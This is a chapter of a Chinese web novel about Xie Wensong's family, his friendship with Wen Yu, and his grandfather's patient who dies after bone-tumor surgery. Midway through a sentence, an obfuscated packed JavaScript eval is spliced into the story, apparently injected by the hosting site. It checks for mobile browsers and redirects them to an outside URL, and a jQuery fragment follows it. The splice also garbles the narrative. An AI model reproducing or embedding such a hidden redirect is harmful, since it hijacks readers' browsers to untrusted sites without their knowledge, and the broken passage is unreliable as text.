66/


    谢家到谢怀崇刚出生那一代，家里还没有什么明显的起色，后来谢景舟出生，谢怀崇因为工作原因，几乎在同时被外省的医院调到南川工作。


    家里还有个孩子需要照顾，两家的父母都离南川很远，赶不过来。作为妻子，魏雅娴也不得不暂时辞掉工作，和谢怀崇一起来到南川。


    医院当时分给谢怀崇一套一居室，地点距离医院只用过两个红绿灯。


    事情不会十全十美，当时的老楼普遍隔音都比较差，邻里关系因为门口空间的分歧而紧张，铁门外路过时拖鞋和水泥地的摩擦声都清晰可闻，他们半夜睡觉时常被惊醒。


    谢怀崇专业能力强，工作勤恳，升职的速度并不算慢，不足十年，一家三口从老楼搬出来换了新位置住。


    那时候为了攒钱，魏雅娴重拾起做手工的活，给人家绣十字绣，因为赶时间经常夜里也不休息，后来眼睛出了些问题，好在加上家里的钱已经够用，谢怀崇劝她快点停了这累人的活。


    生活逐渐有了起色，家里不再像以前过得紧巴巴。日子像流水一样的过，谢景舟顺利毕业以后，如愿从事相关科学研究工作，与同为研究员的乔若琳相识相爱。


    谢闻颂怀在乔若琳肚子里时，谢怀崇和儿子谈，说你们夫妻工作那么忙，小孩他们帮忙照顾着可以，但是孩子不能没有父母陪伴的童年。


    谢景舟想想也觉得对，连夜和妻子商量，还是得给孩子一个比较圆满的童年。


    这也是谢闻颂上小学以前，父母基本每天都要抽出一部分时间陪他的原因。


    乔若琳也不知道孩子是天生不太爱粘着父母的性格，还是太过懂事从来不说，每次因为不得已的事错过和他的约定，谢闻颂都说没什么。


    一点情绪也没有，安静到不符合这个年纪孩子的普遍状态。


    她只是觉得那么小的小孩，应该也成熟不到能完全掩盖掉情绪。


    不过她的担心逐渐被过滤，想起谢闻颂还有温遇这个玩伴，那小姑娘性格阳光热烈，像个移动的小太阳，几个在一起玩的孩子也属她最热闹。


    经常会带着不怎么说话的谢闻颂一起。


    磁场的互相感染，乔若琳觉得自家儿子如果总是和温遇待在一起，应该也会有所改变。


    而且小孩子一天一个样，她的担心或许并不成问题，便也慢慢放下。


    谢闻颂上初中以后，夫妻俩工作逐渐恢复到和以前一样的节奏，回家的时间越来越少，频率越来越低，手机里积攒的信息越来越多，谢闻颂来来回回看得越来越频繁。


    在谢闻颂年纪还小时，受知识和阅历的限制，就算再能装成小大人，也注定还只是个孩子，或许他自己也发现这点，于是大部分时间都在自处，和同龄人的关系并不密切。


    不过对于当时大部分同龄的孩子来说，因为不了解，所以也自然没人看出他身上的“异常”。


    温遇是第一个发现他“装老成”这件事的。


    也是第一个伸手去戳他脸的人。


    她说：“谢闻颂你能不能别老面瘫一张脸，我今天去学校，我朋友问我怎么把仇人带来了。”


    “还问我是不是欠你钱。”


    “……”


    谢闻颂任由她左一下右一下戳自己的脸，目光寸寸往她不自觉上扬的唇角挪。


    “这次又是你无中生友？”


    温遇无奈叹口气，单手叉腰：“这是重点吗？谢闻颂？”


    “你之前还说家长问你以后的事，你也不知道。那你是不是也忘记自己现在就是这么大的小孩，老装什么大人？”


    “和我一起当个小朋友不好吗？”温遇赶紧嘬了口已经化到手上的雪糕，用肩膀碰了下谢闻颂的胳膊：“珍惜点，以后就当不上小朋友了。”


    他伸出手，女孩柔顺的头发从他指尖划过，谢闻颂感觉像摸到兔子尾巴一样毛茸茸的触感：“你还说我老装大人，你这话一点也不像小孩。”


    “我怎么不像小孩了？”温遇赶紧三两下解决雪糕，接过他递来的湿纸巾擦手：“我比你更像小孩。”


    夏风炽热，白色棉质的裙角吹斜着，出现在他的视线里。


    谢闻颂想起什么而弯起眼睛：“也是，我是你哥哥，你是我妹妹，你比我像小孩也对。”


    温遇没立刻回话，只是若有所思看向他：“我好像只有弟弟。”


    “谁说只有存在血缘关系才能喊哥哥？”


    天气太热，温遇的头帘都被汗湿几绺，小姑娘眨巴着水灵的葡萄眼，眼里的天真懵懂做不得任何假。


    谢闻颂心头似乎有什么在轻轻掀动，结果下一秒听见她说：“那把你当哥哥，有什么好处吗？”


    温遇走累了就找一处木椅坐着，裙下的两条腿晃晃悠悠，她用手在脸颊旁边扇风，机灵鬼似的转转眼珠，指了下旁边的小卖部，咕哝着：“那就先试探一下。”


    温遇仰头，“哥，我想吃雪糕。”


    “…………”


    原来是这么试探的吗？


    她刚才的意思还是没有血缘关系就不能喊哥。


    结果想到没准有好处，倒是没有一点犹豫喊他哥。


    谢闻颂认命般在她面前蹲下：“想吃什么味的？”


    温遇咂咂嘴开始思考：“蓝莓的我也想吃，酸奶的好像也不错……”


    “只能吃一根，你刚吃过一根。”


    小姑娘表情皱在一起，看上去相当纠结：“那就酸奶的吧。”


    “行。”谢闻颂走前撂下一句话：“就在这等我。”


    很快他便提着一个透明塑料袋回来，温遇坐在树荫下，晒得整个人都发蔫起来，像株没有养分的苗。


    谢闻颂把酸奶味的雪糕递给温遇，塑料袋里明显还有好几根，女孩透过空隙往袋子里看，眼睛都亮了，藏不住心事：“你还买了这么多！”


    谢闻颂换了个手提着塑料袋，“你就叫了一声，所以只有这一根。”


    温遇领悟力超强，立刻get到了某人的意思，转着圈儿地喊他哥，结果谢闻颂只是提着塑料袋轻轻贴在她的脸上。


    好几根雪糕还未消散的冷气隔着层塑料袋递过来，温遇刚想伸手去碰，已经被有准备的谢闻颂捉弄似的挪开。


    “如果我说好处就这一根。”谢闻颂故意逗她：“你会生气吗？”


    温遇摇头：“不会啊。”


    她朝谢闻颂眨眼：“你已经通过了我的试探。我发现，当你的妹妹，好像好处挺多的。”


    “舍弃小雪糕，后面还有大奖励。”


    “我不亏呀。”


    谢闻颂没想到她是这么想的，一贯没什么情绪的眼底也幻化出哭笑不得来：“你这么容易就能被满足吗？一根雪糕就收买你。”


    温遇皱眉，明显对他这话意见很大：“这不是出于对你人品的考虑吗？”


    “是因为相信你，所以一根雪糕才好使，你不可能辜负我这份信任啊。”


    “哥——哥——”


    作为独生子的谢闻颂第一次被人这么近距离地喊哥哥，脸色在暑气的熨蒸里越来越红。


    哥哥应该保护妹妹的。


    刚才她说以后当不上小朋友了。


    其实。


    如果她想一直当小朋友的话，也不是不可以。


    ……


    随着年纪的增大，也许是因为心中不可名状的羞耻感，温遇喊他哥的时候越来越少，只会放软一些语气喊他的全名。


    谢闻颂自然也发现这点，虽然对于她不怎么叫哥有些遗憾，不过也没在意太多，自然也没有去问她为什么。


    反正当时也只是逗她而已。


    中考结束的那个夏天，他和温遇一起去邻省看演唱会。


    谢闻颂一向对这种事没什么特别的感觉，只是因为温遇喜欢，他就陪她去。


    让温遇顶着燥热的天气，贴着冰凉贴也要出来看的演唱会，谢闻颂也有些好奇。


    他平时听歌听得少，演唱会上大家耳熟能详的歌他却一首也不会。


    周围人都在大合唱的时候他在看温遇，她喝水也不忘记摇荧光棒的时候，他还在看她。


    温遇唱着唱着眼泪流下来，见一旁的谢闻颂没什么反应，问他怎么跟个木头似的，他说他不会唱。


    女孩被他逗笑，边擦眼泪边说他傻：“有些歌听的是氛围感，音乐是能传递很多语言不能表达的东西，不会唱也不影响感受。”


    “正视自己最真实的情感，我不信你没一点感觉。”


    天色逐渐昏暗，谢闻颂看见台上的歌手卖力和台下互动，休息间隙聊起最近的生活，为大家献上祝福。然后紧接着继续下一首歌，明明都是他没听过的，心里却扬起一种无法形容的情绪。


    歌词飞速闪过一句“妈妈”，谢闻颂敏锐捕捉到，一直抬起的头忽然低了下去，周围的嘈杂声仿佛在一瞬间静音，纷纷折成纸飞机里，“咻”地一下从他耳边飞过去。


    温遇沉浸在自己的音乐世界里，没注意谢闻颂已经默默拿出手机，点进和乔若琳的对话框，打下“妈妈”两个字。


    后面其实还有三个字，只不过他没打出来，等对方看见已经是第二天的事了，妈妈问他是不是有什么事，他说没有。


    谢闻颂不会告诉妈妈昨晚自己偷偷搜了这首歌，戴着耳机听了一夜，还流了眼泪这种事。


    他用一部分暑假的时间尝试着写了一段旋律，一颗很小很小的种子在内心发芽。


    却没有养成一棵树。


    兴趣和梦想是不一样的东西。


    梦想和实际又是两个不一样的东西。


    这也是他跟着祖父学到的道理。


    ……


    谢闻颂在最后一次跟着祖父去医院时，那会儿他刚上高中，赶上一位叔叔来就诊。


    他之所以对这个人有印象，一是因为他穿了很多的衣服，下身的裤子过分宽松；二是他主动和自己搭话，问他要不要吃雪饼，他手提包里还有几个。


    谢闻颂摇头，注意到男人脸上朴实腼腆的笑，被他拒绝之后，他坐在铺平的病床上，神游似的望向窗外。


    男人的家属还没来，谢闻颂想了想还是没立刻离开，坐在床对侧的椅子上，默默收起作业本。


    对方也不在意他在场，将肥大的裤腿往上卷，露出过分肿大的关节。


    谢闻颂注意到，默默在心里吃惊，出于最基本的礼貌，面上不显分


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005262|141880||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    毫。


    男人看向他，一贯腼腆地笑：“小友，吓到你了吧，不好意思。”


    谢闻颂摇头：“是我冒犯了。”


    “这个叫什么瘤来着？我有点忘了。”男人叹了口气，好像只是在说给自己听：“我之前也来看过，不过那会儿瘤还不像现在这么大。”


    “我之前，其实一直想和疾病和谐共处，也许它存在于我身上，我正常过我的生活，我们可以互不打扰。”


    “可惜，我最后还是不得不妥协。”


    谢闻颂默默听着他说完这些话，一时并不知道该怎么回应，他觉得此时不管说什么都很苍白无力。


    此时门被人从外面打开，祖父带着几个医生走进来。


    谢闻颂退到门外，却没急着走。


    他听见祖父嘱咐病人关于手术前的一些注意事项，还问他的家里人什么时候到，对话中，谢闻颂才知道他长的是骨巨细胞瘤。


    他对这些医学类的专有名词并不熟悉，只能通过查询百度才能了解概况。


    手机屏幕暗了又灭，原来宽松裤腿下，隐藏着这样的秘密。


    谢闻颂跟着祖父回家，在路上问明天他的手术会顺利吗。对方讶于他怎么会突然提起这位病人，谢闻颂说他刚才要给自己零食来着，想起来就问一问。


    谢怀崇先是沉默一会，然后说任何手术都可能存在风险，他们做的就是和死神在时间里抢人。


    也就是，尽最大的努力。


    谢闻颂还是没说话，想起自己在临离开前通过病房门上的方格玻璃看了眼里面的男人，他正在医护人员的操作下进行手术准备，蓝色的围帘拉起，他并没看见什么。


    头顶灯光灼亮，他只是想起那句。


    想和疾病共同相处，互不打扰。


    谢闻颂没有忘记这件事，第二天等到祖父回来，上前问他病人的情况。


    谢怀崇沉默了一会儿，说没有抢救过来。


    手术成功虽将他腿上的巨瘤取下，但由于骨肿瘤的体积和重量大，即使被成功切下，不过作为曾经身体中重要的一部分突然消失，病人全身的血液循环也迅速发生变化，心电监护的各种指标偏离正常值，大量输血全力抢救，奈何病情急剧恶化，最后也没能成功。


    谢闻颂坐在沙发上，喉咙口仿佛也被什么堵住，面前的茶几上被祖父放下两个雪饼，包装袋隐隐约约折射坐在对面的他。


    可现实就是。


    即使你想和平共处，也未必会放过。


    和想法存在太多不可预知的矛盾。


    于是他想起了自己，想起那些一闪而过的念头，那些甚至还不能成为梦想的想法，也许太过不成熟。


    不得不承认，事与愿违，是一种常态。


    人的成长总是靠瞬间的恍然顿悟而积攒起，谢闻颂在看到那两袋雪饼的时候是，在谢怀崇过世的时候也是。


    全家都是在他去世后才知道，老爷子早在生前就已经签署同意书捐献遗体用于医学研究。


    遵照他的愿望，这件事并没有得以扩散让外界洞悉，对外只正常公布谢怀崇离世这一消息，谢家在墓园立下他的坟冢，其实下面什么都没有。


    而谢闻颂也只能来这里看他。


    每一年，每一次。


    因为这里是离思念最近的地方。


    后来在他收拾东西发现曾经那张载着自己最初想法的乐谱，乐谱在之前被意外撕碎，被他匆忙收在高中学习的文件袋里。


    那天他却有耐心地在书桌前重新拼好，用宽胶带覆在上面，一层透明的薄膜隔绝纸上所有残存的气息，仿佛要将他的过去也封存起来。


    那对新事物的热潮终究是被时间悄悄磨灭，温遇曾经问他，家里的琴房去哪里了？为什么没有继续写自己喜欢的旋律，哪怕只当做爱好。


    他只说，不感兴趣了。


    也的确不感兴趣了。


    他也不知道为什么。


    好像在发生很多事以后，他不管是主动还是被推着，都要赶在别人教他之前自己先成长起来。


    在父母迟来的关心之前学会自己把病养好，在不可避免的困境到来之前要先做足思想准备。外人看来他冷静且周全地做好一件事，这只是结果，而他准备了多长时间，其实不曾为外人知。


    而这些谢闻颂兀自成长所残留的问题，是一种难以言喻的生长痛，被装进勒紧口的垃圾袋，放在一个小角落。


    空间在不断扩容，甚至连他自己都快忘记，却总是会被温遇带着勾起回忆。


    她的存在认为那袋是成长奖励给他的糖果，她说你把袋子打开，里面不一定是多珍贵的礼物，但一定不会是垃圾。


    高三那年，谢闻颂曾经在校长讲话中听到过一句话。


    生命不打草稿，人生没有彩排。


    有人听完无所事事，有人听完踌躇满志。


    而他平静听完，没有多宏大的想法，也不想情绪激昂地说自己有怎么怎样的梦想。


    他只是，想让那袋子，变得更好看一些。


    等温遇某一天好奇指着它“咦”时，他能很坦然地拆开，告诉她里面如你所想，不是垃圾。


    是我身上，很重要的一部分。